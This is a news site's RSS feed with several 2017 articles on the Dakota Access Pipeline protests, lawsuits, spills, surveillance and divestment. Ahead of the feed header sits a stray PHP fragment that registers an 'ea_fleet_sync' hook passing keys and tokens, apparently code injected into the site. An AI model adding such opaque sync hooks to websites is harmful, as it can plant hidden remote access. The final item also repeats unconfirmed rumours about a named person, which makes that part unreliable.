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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); DAPL – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 24 Aug 2017 01:44:42 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png DAPL – Brief News https://briefnews.eu 32 32 DAPL protesters sued for being ‘eco-terrorists’ by company behind pipeline https://briefnews.eu/dapl-protesters-sued-for-being-eco-terrorists-by-company-behind-pipeline/ https://briefnews.eu/dapl-protesters-sued-for-being-eco-terrorists-by-company-behind-pipeline/#respond Thu, 24 Aug 2017 01:44:42 +0000 http://briefnews.eu/dapl-protesters-sued-for-being-eco-terrorists-by-company-behind-pipeline/

Energy Transfer Partners, the corporation behind the Dakota Access Pipeline, has sued Greenpeace and other environmental groups for “eco-terrorism” over their protests against the controversial pipeline.

According to the Dakota Access Pipeline company, environmental groups launched an “eco-terrorism campaign” against the pipeline, and engaged in “acts of terrorism,” including soliciting donations and interfering with construction, damaging its “critical business and financial relationships,” Reuters reports.

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Veterans march with activists outside the Oceti Sakowin camp in December © Stephen Yang

In a 231-page lawsuit filed Tuesday, the group claims the protests and negative publicity for the pipeline cost the company millions of dollars. It is seeking treble damages which could come to $ 1 billion, the Grand Fork Herald reports, along with further punitive damages. The lawsuit also seeks a court order to prevent the groups from conducting more protests.

The firm representing the Texas-based ETP is Kasowitz Benson Torres & Friedman, whose founding partner, Marc Kasowitz, is President Donald Trump’s personal lawyer. Trump was an ETP shareholder before selling his stake in December 2016.

The filing accuses the environmental groups, including Banktrack and Earth First, of “violating federal and state racketeering statutes and constituted defamation and tortious interference with business.”

It also claims the groups were guilty of “manufacturing a media spectacle” over the North Dakota protests.

Protests received mainstream media coverage after private security hired by the pipeline set dogs on protesters and fired tear gas, and video of the incident was shared by Democracy Now.

The lawsuit, however, argues accusations of excessive force being used and of sacred land being damaged during construction are simply “a series of false, alarmist, and sensational claims,” made by the “rogue eco-terrorist groups.”

The $ 3.8 billion Dakota Access Pipeline goes from west North Dakota to south Illinois. Its path under Lake Oahe sparked demonstrations due to its proximity to the Standing Rock reservation and fears that the pipeline could leak and pollute the drinking water. In January, Trump issued a presidential memorandum to expedite the approval for the unbuilt section of the pipeline, and it began service in June.

ETP has a history of leaking pipes and has experienced a series of leaking pipelines since the Dakota Access Pipeline controversy began.

Its Rover pipeline leaked in Ohio wetlands in April, and the Dakota Access Pipeline itself spilled over 100 gallons in two separate incidents in North Dakota in March, as well as another incident in South Dakota in April.

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]]> https://briefnews.eu/dapl-protesters-sued-for-being-eco-terrorists-by-company-behind-pipeline/feed/ 0 Feds investigate toxic spill on Ohio wetland by #DAPL operator https://briefnews.eu/feds-investigate-toxic-spill-on-ohio-wetland-by-dapl-operator/ https://briefnews.eu/feds-investigate-toxic-spill-on-ohio-wetland-by-dapl-operator/#respond Thu, 22 Jun 2017 21:39:32 +0000 http://briefnews.eu/feds-investigate-toxic-spill-on-ohio-wetland-by-dapl-operator/ The Federal Energy Regulatory Commission (FERC), which is overseeing the development of a new interstate natural gas pipeline, has opened an investigation into the spill of 2 million gallons of toxic drilling fluid on Ohio’s wetlands.

The spill from a horizontal directional drill operation was first reported to the Ohio Environmental Protection Agency in April.

On May 10, FERC confirmed the leak of 2 million gallons of bentonite-based drilling fluid from the Rover pipeline which had covered 6.5 acres, or 6.5 football fields, of Ohio wetland.

Ohio’s EPA tested samples from the site and found “the presence of petroleum hydrocarbon constituents, commonly found in disease fuel, in samples of the drilling fluid from various locations near the HDD of the Tuscarawas River.”

FERC ordered the suspension of further drilling on the Rover project, pending an investigation into why petroleum hydrocarbons appeared in the drilling fluid.

“The presence of diesel fuel in the drilling mud is inconsistent with the commitments made by Rover on which the Commission relied to certificate its project,” FERC stated.

“Although we have no reason at this point to believe the release represents an imminent threat to human health or the environment, this incident raises concerns about potential long-term environmental impacts, including impacts on sensitive wetlands in Ohio.”

The Rover pipeline is being constructed by the same company which built the Dakota Access Pipeline. The $ 4.2 billion conduit is being built to run southeast to northwest across Ohio for 551 miles, and will transport natural gas to Ohio, Michigan, West Virginia and Canada.

The company also owes the state $ 1.5 million in restitution fees for demolishing a historic house last year. The incident led to FERC ordering Rover to seek federal approval at every stage of construction rather than issuing a blanket construction permit. With the restrictions, FERC approved the project in February.

Since then, the construction project has already caused seven industrial spills and has angered local farmers. When construction occurred during heavy rains, crews disposed excessive water by dumping it on farmers’ fields which affected farming.

Between April 5 and May 8, the Ohio EPA cited Energy Transfer at least 16 times for improperly disposing of sediment-laden waster in steams.

On April 8, workers reported an “inadvertent release” while drilling near the Indian Fork River in Eastern Ohio.

The EPA found 2,500 square feet of wetlands flooded with drilling fluid.

“We’ve not seen a project in Ohio with spills at this size and scale, and if we can’t even trust Rover to construct this pipeline, how can we trust them to operate it when it’s complete?” Heather Taylor Miesle, executive director of the Environmental Council told Bloomberg.

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The pipeline is due to be completed by November 1, with the company standing to lose more than $ 10 million a week if it misses the deadline, according to Bloomberg.

Energy Transfer Partners said they are working with FERC and OEPA to resolve the issues to “ensure the complete remediation of these areas.”

Standing Rock tribal chairman Dave Archambault II told the Guardian in May the spills were a sign of bigger problems to come.

“The fact that the Dakota Access pipeline has already suffered from multiple leaks prior to even being fully operational perfectly highlights what the tribe has said all along: pipelines are not safe. Allegedly no water has been contaminated yet, but at this rate of failure it is only a matter of time,” Archambault II said.

Before the controversial Dakota Access Pipeline (DAPL) became operational, it had two leaks of more than 100 gallons of oil in North Dakota.

Two barrels, or 84 gallons, spilled due to a leaky flange at a pipeline terminal in Watford City on March 3, according to the North Dakota Health Department. A flange is a section connecting two sections of pipeline.

The department’s incident report said the oil flow was immediately cut off and the spill was contained on the site. Contaminated snow and oils was removed and no people, wildlife or waterways were affected.

In a separate incident, a leak of half a barrel, or 20 gallons of oil, occurred on March 5 in rural Mercer County, according to data from the federal Pipeline and Hazardous Materials Safety Administration.

Contaminated soil was removed and as in Watford, no human and animal life or water routes were affected.

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]]> https://briefnews.eu/feds-investigate-toxic-spill-on-ohio-wetland-by-dapl-operator/feed/ 0 Private security firm compared DAPL protesters to 'jihadist insurgency' – leaked documents https://briefnews.eu/private-security-firm-compared-dapl-protesters-to-jihadist-insurgency-leaked-documents/ https://briefnews.eu/private-security-firm-compared-dapl-protesters-to-jihadist-insurgency-leaked-documents/#respond Sun, 28 May 2017 21:50:35 +0000 http://briefnews.eu/private-security-firm-compared-dapl-protesters-to-jihadist-insurgency-leaked-documents/ A private security firm which started out as a US military contractor and has been hired by the controversial Dakota Access Pipeline (DAPL) to counter indigenous activists protesting its construction, has used “military-style counterterrorism measures,” the Intercept reports.

The online publication claims it has obtained over 100 internal documents of the TigerSwan security firm, leaked by one of its contractors, and has studied more than 1,000 documents via public records requests. The papers “reveal that TigerSwan spearheaded a multifaceted private security operation characterized by sweeping and invasive surveillance of protesters,” it said.  

The Intercept says the information provides “the first detailed picture” of the former US military and State Department contractor’s “military style” methods. Its report claimed that the firm hired by Energy Transfer Partners treated the anti-project protesters as jihadists.

In its internal communications, the indigenous-led movement who call themselves water protectors and who tried to prevent the construction of the pipeline, is described by TigerSwan as “an ideologically driven insurgency with a strong religious component.”

The movement “generally followed the jihadist insurgency model while active,” one of the leaked documents reportedly said, with TigerSwan adding, “we can expect the individuals who fought for and supported it to follow a post-insurgency model after its collapse.”

To counter opponents of the pipeline, the private security firm – which was set up “during the height of the war in Iraq” by a former commander in the elite Army special operations unit – has used all methods of intelligence and infiltration, the report said.

Helicopters and drones were deployed for aerial surveillance and radio eavesdropping had been initiated. One of the leaked papers also revealed “plans to obtain night-vision goggles, LRADs [Long Range Acoustic Devices], [and] body armor.”

TigerSwan’s intelligence-gathering teams also reportedly infiltrated activist circles in various states by “using false names and identities,” and forwarded the data to their employer. The firm has also reportedly targeted the movement through a “counter-information campaign” on social media.

The leaked documents further showed that the firm “consistently describes the peaceful demonstrators using military and tactical language more appropriate for counterterrorism operations in an armed conflict zone,” the Intercept reported.

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The protesters have been described “as ‘terrorists,’ their direct actions as ‘attacks,’ and the camps as a ‘battlefield’,” the report said, adding, that the peaceful anti-pipeline movement has been “treated as a national security threat.”

READ MORE: #NoDAPL: ING bank sells loan shares in controversial pipeline

“Particular attention” has been given to protesters of Middle Eastern descent, the report claimed, citing one of the leaked documents. “The presence of additional Palestinians in the camp, and the movement’s involvement with Islamic individuals is a dynamic that requires further examination,” one of the documents cited by the Intercept reads. “Terrorist type tactics or operations… cannot be ruled out,” the report goes on.

“To insinuate that our assumed faith is a red flag for terrorist tactics is another example of willful ignorance and the establishment’s continued attempts to criminalize nonviolent protest and justify violence against it,” Haithem El-Zabria, a Palestinian-American activist singled out in the reports, told the Intercept.

“As indigenous people, Palestinians stand in solidarity with other indigenous people and their right to land, water, and sovereignty,” he said.

READ MORE: Norway pension fund divests from DAPL after pressure from indigenous Sami parliament

The leaked materials apparently revealed not only TigerSwan’s “militaristic approach” in dealing with “the nonviolent water protector movement,” but also showed that the private security firm “coordinated its efforts with local, state, and federal law enforcement.”

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TigerSwan operatives had met with law enforcement officials in Iowa and North Dakota, the Intercept said, citing the leaked internal situation reports, which are said to feature comments about the firm’s “routine coordination and intelligence sharing with law enforcement.” The firm “also aided prosecutors in building cases against pipeline opponents.”

Having published the first batch of TigerSwan’s leaked internal reports prepared in North Dakota, South Dakota, Iowa, Illinois, and Texas between September 2016 and May 2017, the Intercept said it plans to reveal more of the leaked materials in the coming weeks.

Energy Transfer Partners declined to comment, the Intercept said, while TigerSwan did not respond to a request for a response.

The DAPL protest movement, mainly led by the Native American tribes, had been attempting to shut down the construction of the pipeline for months. The multi-billion dollar project, designed to transport oil from North Dakota to Illinois while traversing several states, had been temporarily suspended during the Obama administration but came back into force shorty after Donald Trump took office.

Earlier in May, it was reported that the over 1,000 mile long  pipeline had already had its first crude oil leak, with the incident sparking further outrage and renewed questions of environmental safety.

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Norway will divest its pension fund from companies associated with the Dakota Access Pipeline after the indigenous Sami parliament persuaded Oslo to support those fighting against the $ 3.8 billion project in the US.

Norway’s indigenous Sami parliament successfully lobbied the country’s local authority pension fund KLP, which announced it would sell $ 58 million worth of shares in companies involved in the pipeline.

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The Sami live in the Arctic region of Sapmi in northern Norway, Sweden, Finland and Russia.

“We feel a strong solidarity with other indigenous people in other parts of the world, so we are doing our part in Norway by putting pressure on the pension funds,” said Vibeke Larsen, president of the Sami parliament.

Larsen had come to Oslo to meet with pension fund KLP to discuss the Dakota Access Pipeline and welcomed the news when she arrived.

KLP had originally said it would not divest, but after reassessing, changed its mind. It will exclude Energy Transfer Partners, Enbridge Energy Partners, Phillips 66 and Marathon Petroleum from its investments.

It is the latest victory for the divestment campaign that has seen a number of investors and pension funds cut ties with companies dealing with Energy Transfer Partners’ pipeline.

The Standing Rock Sioux and others have protested the 1,900-kilometer (about 1,180-mile) pipeline’s route under the Missouri river’s Lake Oahe and land it deems bound by treaty.

Other Norwegian companies have already divested from companies involved in the pipeline. Nordea Bank AB sold its bonds in three companies in February, and Storebrand financial group said it would divest earlier this month.

A delegation of indigenous women from Standing Rock and its allies were headed to Norway on Friday for a week-long mission to engage with financial institutions, media and civil society groups and share concerns and experiences from the Standing Rock resistance effort.

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]]> https://briefnews.eu/norway-pension-fund-divests-from-dapl-after-pressure-from-indigenous-sami-parliament/feed/ 0 ‘Overbroad and unconstitutional’: ACLU fights search warrant of DAPL protest Facebook page https://briefnews.eu/overbroad-and-unconstitutional-aclu-fights-search-warrant-of-dapl-protest-facebook-page/ https://briefnews.eu/overbroad-and-unconstitutional-aclu-fights-search-warrant-of-dapl-protest-facebook-page/#respond Sat, 11 Mar 2017 00:53:01 +0000 http://briefnews.eu/overbroad-and-unconstitutional-aclu-fights-search-warrant-of-dapl-protest-facebook-page/ A search warrant was issued after a protest over the Dakota Access Pipeline caused a traffic jam in Bellingham, Washington. The ACLU argues the warrant violates protesters’ First and Fourth Amendment rights.

The Whatcom County Sheriff’s Department is seeking to search private data from the Bellingham #NoDAPL Coalition Facebook page, including messages, photos, videos and other personal information from the page, as well as data relating to anyone who interacted with the group.

The warrant timeframe spans from February 4 to 15, and surrounds a protest in Bellingham that occurred on February 11, when protesters blocked access to the northbound lanes of Interstate 5 for around an hour, causing a four-mile-long traffic jam. 

The protest was in response to President Donald Trump signing the executive order, greenlighting construction of the DAPL and Keystone XL pipelines. Protesters were calling on city leaders to close the $ 80 million account with US Bank, a financial supporter of the pipeline, and for the government to respect indigenous sovereignty. 

Several local police departments responded to the protest, including the Washington State Patrol troopers. In total, police removed around 100 protesters from the highway, some of whom were chained together. No violence was reported, but the search warrant says that authorities are weighing the possibility of charging protesters with reckless endangerment, a misdemeanor. 

According to the Washington State Patrol, the protests began when five cars stopped on the highway, blocking two lanes. After the demonstration was over and traffic began to flow, police responded to a five-car pile-up about 3 miles south. In a press release following the protests, Washington State Patrol requested witnesses who observed the five vehicles that initially blocked traffic to come forward with any information they had. 

The search warrant was issued February 16 by a state judge. Soon after, Facebook informed Neah Monteiro, the page’s top admin, they had received the warrant for data relating to the group.

Monteiro sent the warrant to the American Civil Liberties Union (ACLU), which filed a motion on Wednesday, calling the warrant “an overbroad and unconstitutional request for private data.” 

“Overbroad warrants like this one have far-reaching implications,” Brett Max Kaufman, a staff attorney with the ACLU’s Center for Democracy, said in a statement. 

“Government requests for information protected by the First Amendment must meet a high bar in order to ensure that political speech and advocacy are not chilled. The Constitution gives wide berth to that kind of civic participation, and law enforcement must respect that space in carrying out its activities,” Kaufman said.

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According to the motion, Monteiro has standing to quash the warrant, which violates the constitution by permitting a “generalized search” of private data that is protected by the First and Fourth Amendments.

If upheld, the warrant could affect “any member of the public, supportive or not, who interacted with the group.” In effect, any individuals who interacted with the group via Facebook at some point during the 12 days covered by the warrant, including those who simply asked the group questions about their activities or engaged any members of the group in political debate, could have their private information searched, according to the motion from the ACLU.

The ACLU said that hundreds of people could be affected, and called the search “a fishing expedition.”

“If the identifying information of people whose only activity was to participate in a political organizing group is seized and searched, fear of retaliation will inevitably keep some people from engaging with or joining such groups,” the motion from the ACLU reads. “If the State may intrude on the political and associational conduct of the bellinghamnodapl Facebook group, it can do the same with respect to any politically associated groups.”

A hearing is scheduled for March 14 in Whatcom Superior Court.

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]]> https://briefnews.eu/overbroad-and-unconstitutional-aclu-fights-search-warrant-of-dapl-protest-facebook-page/feed/ 0 Police & military clear DAPL protest camp, dozens arrested, protesters start fires (PHOTOS) https://briefnews.eu/police-military-clear-dapl-protest-camp-dozens-arrested-protesters-start-fires-photos/ https://briefnews.eu/police-military-clear-dapl-protest-camp-dozens-arrested-protesters-start-fires-photos/#respond Fri, 24 Feb 2017 08:45:07 +0000 http://briefnews.eu/police-military-clear-dapl-protest-camp-dozens-arrested-protesters-start-fires-photos/

Dozens of DAPL protesters were arrested after police raided and cleared the Oceti Sakowin camp near the Standing Rock Sioux Reservation in North Dakota. Some activists refused to leave peacefully and set fire to their makeshift housing.

The Oceti Sakowin camp was completely emptied shortly after 2:00pm local time (8:00pm GMT), the Morton County Sheriff’s Department said, as cited by Reuters.

About 50 police in riot gear, aided by members of the National Guard and the Army Corps of Engineers, entered the site.

At least 47 people were arrested, department spokeswoman Maxine Herr said.

On Thursday, military vehicles, bulldozers, and police in riot gear moved into the camp to clear out the remaining protesters against the Dakota Access Pipeline (DAPL).

READ MORE: 100 Dakota Access Pipeline protesters remain at camp site, defying eviction notice

About 100 people had remained in the camp, defying the Wednesday deadline for evacuation ordered by the governor of North Dakota.

“Things went very smoothly. We are very happy with the operations,” Herr said, adding that around 200 law enforcement officials took part in the operation.

The protesters set around 20 fires, and one vehicle was burned, the Morton County Public Information Office in Bismarck, North Dakota said, as cited by AP. The statement added that there were at least two explosions, and a seven-year-old boy and a 17-year-old girl were taken to the hospital with burns.

“It’s really hard being here right now but we know we need to be here because we know that they are wrong and we are right,” Raymond Kingfisher, a protester, told Reuters.

“They have been pointing a gun at our head since day one, so the feeling of fear becomes pretty normal,” another protester, Jeremiah Barnes, added.

READ MORE: Riot police & military Humvees enter Standing Rock camp

Some protesters decided to leave the camp peacefully. Others set the wooden constructions on fire.

Phyllis Young, one of the camp leaders, told AP that the protests will continue.

READ MORE: DAPL protesters set tents ablaze ahead of camp evacuation deadline (VIDEOS)

“Freedom is in our DNA, and we have no choice but to continue the struggle,” she said.

“A lot of our people want to be here and pray for our future,” tribal chairman Harold Frazier added.

Oceti Sakowin, or “Seven Council Fires,” is the native name for the Sioux nation. The protest camp was set up north of the Standing Rock Sioux Reservation. The tribe has tried to stop the construction of the segment of the Dakota Access Pipeline under Lake Oahe, on the grounds that it could endanger their water supply.

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]]> https://briefnews.eu/police-military-clear-dapl-protest-camp-dozens-arrested-protesters-start-fires-photos/feed/ 0 ‘Last stand’: Protests erupt as Standing Rock Tribe vows court challenge to DAPL easement https://briefnews.eu/last-stand-protests-erupt-as-standing-rock-tribe-vows-court-challenge-to-dapl-easement/ https://briefnews.eu/last-stand-protests-erupt-as-standing-rock-tribe-vows-court-challenge-to-dapl-easement/#respond Thu, 09 Feb 2017 03:41:49 +0000 http://briefnews.eu/last-stand-protests-erupt-as-standing-rock-tribe-vows-court-challenge-to-dapl-easement/ In cities nationwide, Dakota Access Pipeline protesters are treating their cause with more urgency than ever since the Standing Rock Sioux Tribe vowed to fight President Donald Trump’s executive memorandum expediting construction.

In court documents filed on Tuesday, the US Army Corps of Engineers announced it would grant the final permit for the Dakota Access Pipeline, and cancel any further environmental impact study (EIS) that would allow the pipe to be laid beneath Lake Oahe.

“Today’s announcement will allow for the final step, which is granting of the easement,” Robert Speer, Acting Secretary of the Army, announced in a press release. “Once that it done, we will have completed all the tasks in the Presidential Memorandum of January 24, 2017,” 

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The announcement was a major blow to Native American “water protectors,” who were told in December that the Army Corps would not grant the company building the pipeline, Dallas-based Energy Transfer Partners, an easement to complete the final two miles of the $ 3.7 billion 1,170-mile pipeline.

In a December statement, Jo-Ellen Darcy, US Assistant Secretary of the Army, said: “The best path forward was to explore alternative routes for the pipeline through an environmental review.”

After months of protesting, thousands of Native tribe members, climate activists and military veterans left the protest camps when the Obama administration ordered the environmental review in December. The few who stayed were subjected to temperatures of minus 9 degrees Fahrenheit.

Now that protesters have left the camp, the Standing Rock website says that the Tribe will challenge the easement in court on the grounds that the EIS was “wrongfully terminated.”

“The Obama administration correctly found that the Tribe’s treaty rights needed to be acknowledged and protected, and that the easement should not be granted without further review and consideration of alternative crossing locations,” Jan Hasselman, lead attorney for the Tribe, said in a statement.

“Trump’s reversal of that decision continues a historic pattern of broken promises to Indian Tribes and unlawful violation of Treaty rights. They will be held accountable in court.”

On Tuesday, the Indigenous Coalition at Standing Rock called for an “international day of emergency actions” to take place on February 8, “to disrupt business as usual and unleash a global intersectional resistance to fossil fuels and fascism.”

On Wednesday, protesters took to the streets in several cities across the US, as a part of what is being called the “last stand” rallies.

The Standing Rock Sioux, along with other Native tribes, have also scheduled a march in Washington, DC for March 10.

“We ask that our allies join us in demanding that Congress demand a fair and accurate process,” Dave Archambault II, chairman of the Standing Rock Sioux Tribe, said in a statement released on Tuesday.

“Our fight is no longer at the North Dakota site itself. Our fight is with Congress and the Trump administration. Meet us in Washington on March 10,” Archambault said.

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]]> https://briefnews.eu/last-stand-protests-erupt-as-standing-rock-tribe-vows-court-challenge-to-dapl-easement/feed/ 0 Thousands attend LA protest over Trump’s DAPL & Keystone XL executive orders (VIDEOS, PHOTOS) https://briefnews.eu/thousands-attend-la-protest-over-trumps-dapl-keystone-xl-executive-orders-videos-photos/ https://briefnews.eu/thousands-attend-la-protest-over-trumps-dapl-keystone-xl-executive-orders-videos-photos/#respond Mon, 06 Feb 2017 19:59:08 +0000 http://briefnews.eu/thousands-attend-la-protest-over-trumps-dapl-keystone-xl-executive-orders-videos-photos/

Thousands of people marched in LA to protest US President Donald Trump’s executive orders restarting the construction of the Dakota Access and Keystone XL pipelines.

The demonstration was organized in the wake of the orders that advance the projects in a move the Indigenous Environmental Network dismissed as “insane and extreme.“

Trump said he wants to move forward on the projects, which aim to connect the tar sands in Alberta, Canada with oil refineries on the Gulf Coast.

READ MORE: Dakota Access Pipeline review moves forward after Trump’s orders

The pipeline projects have become a key battleground for those opposed to the use of fossil fuels, as well as for the Standing Rock Sioux Tribe in North Dakota. The tribe says the pipeline is being constructed on sacred Native American land and will pass through Lake Oahe, their primary source of drinking water.

Police say the LA gathering was peaceful and no disruptions or arrests were reported.

If completed, the Dakota Access Pipeline project will carry oil from northwest North Dakota to Illinois, passing through South Dakota and Iowa. The Keystone XL pipeline is designed to carry oil from the oil sands of Alberta in Canada, to Nebraska, where it would connect with an existing pipe.

The Standing Rock Sioux Tribe are camping at the construction site in protest. There have already been occasional clashes with police at the encampment.

READ MORE: Police raid new camp, evict and arrest 70+ DAPL protesters

White House spokesperson Sean Spicer said Trump plans to discuss the terms and conditions of the construction with all parties involved, including the Native Americans, and to negotiate a deal that benefits everyone.

Last week Phillips 66 CEO Greg Garland, a stakeholder in the Dakota pipeline, said he expects the facility to start operating later this year, despite the wave of protests and ongoing legal battles.

READ MORE: Stakeholder says DAPL to start work in second quarter of 2017 despite ongoing legal battle

The pipeline is currently under review by the US Army Corps of Engineers.

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Malia Obama’s DAPL protest is getting praise from Shailene Woodley. The actress, who is known for her denunciation of the Dakota Access Pipeline, is happy former first daughter Malia Obama opposed Donald Trump’s undoing of her father’s executive order.

Malia, 18, was spotted at the 2017 Sundance Film Festival in Park City, Utah last week with one Secret Service agent, as previously reported by Inquisitr. Her appearance sparked the usual mix of sneers and jeers by social media, coupled with support from fans of the Obama family.

Shailene Woodley, a Bernie Sanders supporter and avid environmental activist, is among the latter. The Divergent star noticed Malia Obama at the DAPL demonstration and gushed about her presence in support of nixing the controversial fossil fuel pipeline project.

“I saw her last night when we did the event with [Standing Rock Sioux Tribute] Chairman Dave Archambault. And it was incredible to see her there.”

Woodley praised Malia for taking a stand in protest against Trump’s push to build the pipeline and lauded Michelle and Barack’s oldest daughter for charting her own future. Moreover, Shailene said Malia Obama’s presence is a good look for young girls aspiring to lend their voices to social causes.

“To witness a human being and a woman coming into her own outside of her family and outside of the attachments that this country has on her, but someone who’s willing to participate in democracy because she chooses to, because she recognizes, regardless of her last name, that if she doesn’t participate in democracy, there will be no world for her future children.”

The Fault in Our Stars actress is a vocal opponent of the DAPL, according to a USA Today report. The $ 3.87 billion project, which proposes to construct a petroleum-based pipeline through North Dakota, has been the subject of growing controversy. The Obama Administration and tribal members met the DAPL project with strong protest.

President Barack Obama fought against the Republican-backed initiative. The Standing Rock Sioux Native American tribe led the fight over sovereign rights and threats of contaminating waters and desecrating sacred burial grounds.

Last week, President Trump made good on a promise to revive the project by signing an executive order to begin construction on the Dakota Access and Keystone XL pipelines. He issued a mandate that they be made with American pipes to bolster jobs in the region.

Woodley has been a fixture at the Sioux DAPL protests and was even arrested months ago for criminal trespassing and engaging in a riot, wrote Hello Giggles.

Malia Obama did not speak at the DAPL protests, but Shailene Woodley is happy that others are standing up against big oil companies and banks that have vested interests in the construction of the pipelines.

Malia’s presence to others was a signal that she was allegedly returning to her “party” lifestyle. Malia became the subject of controversy during her father’s second term when incriminating photos emerged of her allegedly engaging in “rebel” behavior.

One photo emerged that showed Malia partying in a dorm room with a bong in the foreground. Another image showed Malia “twerking” and “exposing her butt” at Lollapalooza, as Radar Online wrote. And another pic of Malia showed the former first daughter appearing to smoke a marijuana joint.

Then, when Malia “vanished” from the public’s eye, her noticeable absence sparked rumors that she was secretly receiving treatment in a rehab center at her parents’ behest.

Critics of the unconfirmed rumors are again pointing to the pictures to prove that Malia Obama was likely at Sundance for “pleasure,” not for business. Multiple sources recently reported Malia’s landing of an internship with Hollywood producer Harvey Weinstein.

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